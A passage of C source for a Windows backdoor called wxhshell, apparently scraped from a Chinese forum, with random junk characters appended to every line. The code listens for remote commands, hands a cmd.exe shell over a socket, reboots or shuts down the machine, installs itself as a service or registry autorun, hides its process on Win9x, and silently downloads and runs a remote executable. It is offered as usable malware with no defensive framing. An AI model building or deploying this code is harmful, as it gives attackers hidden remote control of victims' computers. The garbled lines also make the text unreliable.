  case '?': { 8&=+Mw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o/fq  
    break; DOWUnJ;5  
  } nWK"i\2#G  
  // 安装 ~QsQ7SAs  
  case 'i': { ::vw 1Es  
    if(Install()) +G_6Ek4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x./jTebeO  
    else ma }Y\(38  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2/B Flb  
    break; #1zWzt|DW  
    } '+X9MzU*\  
  // 卸载 3A} n tA!  
  case 'r': { J 6S  
    if(Uninstall()) I#Tl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ii*Ty!Sa  
    else 8}Y( @ %4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b}$m!c:<8  
    break; Te> 7I  
    } yg2~qa:dZ  
  // 显示 wxhshell 所在路径 y( MF_'l  
  case 'p': { CFZ= !s)B  
    char svExeFile[MAX_PATH]; zF]hf P0Q  
    strcpy(svExeFile,"\n\r"); |l ~BdP  
      strcat(svExeFile,ExeFile); DoPm{055J  
        send(wsh,svExeFile,strlen(svExeFile),0); AX1'.   
    break; 7Hpsmfm  
    } ){>;eky  
  // 重启 EW4XFP4 c  
  case 'b': { #IBBaxOk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?V[yw=sl04  
    if(Boot(REBOOT)) zPV/{)S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G-n`X":$DT  
    else { SQ5*?u\  
    closesocket(wsh); } 2)s%  
    ExitThread(0); D 2!ww{t  
    } LTtfOcrt  
    break; -r-`T s  
    } \lR~!6:  
  // 关机 =WEfo;  
  case 'd': { =-`+4zB\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2%W(^Lj  
    if(Boot(SHUTDOWN)) s !8]CV>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nfDPM\FFD  
    else { CsSB'+&{  
    closesocket(wsh); 4kg9R^0  
    ExitThread(0); _n}!1(xYa`  
    } fJE ki>1  
    break; &9s6p6 eb  
    } DO03vN  
  // 获取shell \0WMb  
  case 's': { /2HwK/RZ  
    CmdShell(wsh); %k$C   
    closesocket(wsh); ,(`@ZFp$  
    ExitThread(0); RL&3 P@r  
    break; I;-{#OE,  
  } nLtP^ 1~9H  
  // 退出 cR5<.$aY  
  case 'x': { KH KqE6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &`TX4b^/!  
    CloseIt(wsh); Y,(eu*Za  
    break; DR0W)K ^  
    } <O>Q;}>gfc  
  // 离开 Zo0&<QWj  
  case 'q': {  Uero!+_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ew;<iY[  
    closesocket(wsh); )%tf,3  
    WSACleanup(); s*l_O* $'  
    exit(1); |nt J+  
    break; ufR |  
        } 6U /wFT!7$  
  } a|7V{pp=M  
  } +u=xBhZ  
K5.C*|w  
  // 提示信息 iuHG9#n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;%jt;Xv9  
} /BIPLDN6  
  } mtOrb9` m  
nlY ^  
  return; I'@ }Yjm|  
} @s IZ  
*Cb(4h-  
// shell模块句柄 S&=B&23T  
int CmdShell(SOCKET sock) 0Hz3nd?v  
{ GS{9MGl  
STARTUPINFO si; *TXq/ 3g  
ZeroMemory(&si,sizeof(si)); R*[ACpxr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zka;}UL&Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KcU,RTE  
PROCESS_INFORMATION ProcessInfo; =;{S>P!I(t  
char cmdline[]="cmd"; Z9sg6M@s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8@qahEgQ  
  return 0; MoX* e  
} V+Tj[:ok  
Ka{IueSs  
// 自身启动模式 R #ZDB]2  
int StartFromService(void) Yj"UD:p  
{ X! ]~]%K$y  
typedef struct wk/->Rz  
{ ry< P LRN  
  DWORD ExitStatus; xxiLi46/  
  DWORD PebBaseAddress; 'RA[_Z  
  DWORD AffinityMask; e!-'O0-Kw  
  DWORD BasePriority; HIU@m<  
  ULONG UniqueProcessId; |-|BM'Y  
  ULONG InheritedFromUniqueProcessId; A |&EI-In  
}   PROCESS_BASIC_INFORMATION; VC+\RB#:-  
;|^fAc~9{r  
PROCNTQSIP NtQueryInformationProcess; *@ o3{0[Z  
@1 +/r?b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WIGb7}egR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t!=S[  
<7&b|f$CL  
  HANDLE             hProcess; 9BY b{<0tS  
  PROCESS_BASIC_INFORMATION pbi; UB1/FM4~  
W#wM PsB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); + mcN6/  
  if(NULL == hInst ) return 0; +\ySx^vi  
bCrB'&^t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2<O8=I _  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ya. $x~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u<8Q[_E&  
&q U[ wn:1  
  if (!NtQueryInformationProcess) return 0; :U*[s$  
fr?eOigbl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'I~dJEW7  
  if(!hProcess) return 0; %qQ(@TG  
4mAtYm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `WB|h)Y  
l>iU Q&V  
  CloseHandle(hProcess);  @bx2=  
m\>x_:sE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x -!FS h8q  
if(hProcess==NULL) return 0; 4 5lg&oO  
<(MFEIt  
HMODULE hMod; st2>e1vg  
char procName[255]; 3u^TJt)  
unsigned long cbNeeded; (wfg84  
p\WUk@4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7S`H?},sR  
VJ"3G;;  
  CloseHandle(hProcess); ah92<'ix  
yU.0'r5uR  
if(strstr(procName,"services")) return 1; // 以服务启动 F"=MU8  
,54<U~Lg:  
  return 0; // 注册表启动 Wg%-m%7O  
} t>fB@xHBB  
{<2Zb N?  
// 主模块 |$t0cd  
int StartWxhshell(LPSTR lpCmdLine) =gIYa  
{ wj^I1;lO  
  SOCKET wsl; "Pc,+>vh  
BOOL val=TRUE; W24bO|>D  
  int port=0; ~roHnJ>  
  struct sockaddr_in door; k +Oq$Pi  
{dwV-qz  
  if(wscfg.ws_autoins) Install(); q T].,?  
`9+EhP$RS  
port=atoi(lpCmdLine); 3EvA 5K.  
#+;=ijyF  
if(port<=0) port=wscfg.ws_port; taQ[>x7b  
 T_uuFL  
  WSADATA data; O5Lv :qAa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ; ]Aa  
YiTp-@$}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t}7wR TG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m}9V@@  
  door.sin_family = AF_INET; v#|c.<].  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z aF0nov  
  door.sin_port = htons(port); }WbN)  
OK\%cq/U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { co3 ,8\N0  
closesocket(wsl); )9r%% #  
return 1; 1Q5<6*QL"  
} dx}/#jMa  
IJ8DN@w9  
  if(listen(wsl,2) == INVALID_SOCKET) { :RsPGj6   
closesocket(wsl); O[y`'z;C  
return 1; ?/( K7>`  
} b-?o?}*  
  Wxhshell(wsl); Z?.*.<"Sj  
  WSACleanup(); v+#j>   
=]a@)6y  
return 0; {*<C!Qg  
/wE_eK.  
} 3kCbD=yF  
Y14R"*t~  
// 以NT服务方式启动 {1aAm+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #!jRY!2Vt  
{ >!1f`  
DWORD   status = 0; s8[9YfuW  
  DWORD   specificError = 0xfffffff; 4C%>/*%8>  
^-u HdafP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w<Cmzkf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rcx;3Vne  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S I7B6c  
  serviceStatus.dwWin32ExitCode     = 0; P|4E1O  
  serviceStatus.dwServiceSpecificExitCode = 0; CLEG'bZa,  
  serviceStatus.dwCheckPoint       = 0; S=,1} XZ  
  serviceStatus.dwWaitHint       = 0; J'yN' 0  
'w[d^L   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $`{q[{  
  if (hServiceStatusHandle==0) return; Q!X_&ao )O  
51qIo4$  
status = GetLastError(); ^-GX&ODa  
  if (status!=NO_ERROR) uV_)JZ W,L  
{ i*R:WTw#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |OZ>/l {  
    serviceStatus.dwCheckPoint       = 0; O'-Zn]@.]  
    serviceStatus.dwWaitHint       = 0; 9+I/y,aC  
    serviceStatus.dwWin32ExitCode     = status; 9K46>_TyH  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cz r4 -#2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MLBg_<  
    return; kA%OF*%|6  
  } .k`*$1?73x  
Y-q@~v Z]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gv,92ny!|  
  serviceStatus.dwCheckPoint       = 0; i @9 Qb  
  serviceStatus.dwWaitHint       = 0; I"sobZ`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W}k?gg=  
} P}9Y8$Y>U  
&JhIn%=-  
// 处理NT服务事件,比如:启动、停止 -ouJf}#R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kg I=0W>  
{ @ P"`=BU&  
switch(fdwControl) o+-Ge J  
{ >|/ ? Up  
case SERVICE_CONTROL_STOP: on;sq8;  
  serviceStatus.dwWin32ExitCode = 0; fsJTwSI["  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'Z2N{65  
  serviceStatus.dwCheckPoint   = 0; b?] S&)"9  
  serviceStatus.dwWaitHint     = 0; x_y>j)  
  { l8xd73D)8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +< \cd9  
  } '%-xe3  
  return; ;Nf hKu%K  
case SERVICE_CONTROL_PAUSE: 7lDaok  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )SL@ >Cij  
  break; _RaVnMJKX4  
case SERVICE_CONTROL_CONTINUE: tw4am.o1]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }'V'Y[  
  break; ,rFLpQl  
case SERVICE_CONTROL_INTERROGATE: vg:J#M:  
  break; .l( r8qY#  
}; b6!Q!:GO&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J4Z<Yt/  
} k[ffs}  
:qCm71*  
// 标准应用程序主函数 (2S!$w%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gj7QG IKx  
{ oyN+pFVB:$  
ccN&h  
// 获取操作系统版本 {`K]sa7`  
OsIsNt=GetOsVer(); [wy3Ld  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S?nNZW\6[  
L\:YbS~]  
  // 从命令行安装 z<[.MH`ln  
  if(strpbrk(lpCmdLine,"iI")) Install(); U.pr} hq  
@0UwI%.  
  // 下载执行文件 8?j&{G  
if(wscfg.ws_downexe) { ;sL6#Go?V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z;Ir>^<  
  WinExec(wscfg.ws_filenam,SW_HIDE); + <!)k?  
} "`jZ(+  
1!;"bHpk  
if(!OsIsNt) { s;_#7x#  
// 如果时win9x,隐藏进程并且设置为注册表启动 7:VEM;[d  
HideProc(); e1`)3-f  
StartWxhshell(lpCmdLine); +%e%UF@  
} GwMUIevO_  
else neB.Wu~WH  
  if(StartFromService()) +2V%'{:  
  // 以服务方式启动 \}u7T[R=`  
  StartServiceCtrlDispatcher(DispatchTable); Owh*KY:  
else igRDt{}  
  // 普通方式启动 [I++>4  
  StartWxhshell(lpCmdLine); ,WO%L~db  
t7*G91Hoq&  
return 0; mq{$9@3  
}
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只看该作者 1 发表于: 2006-10-10
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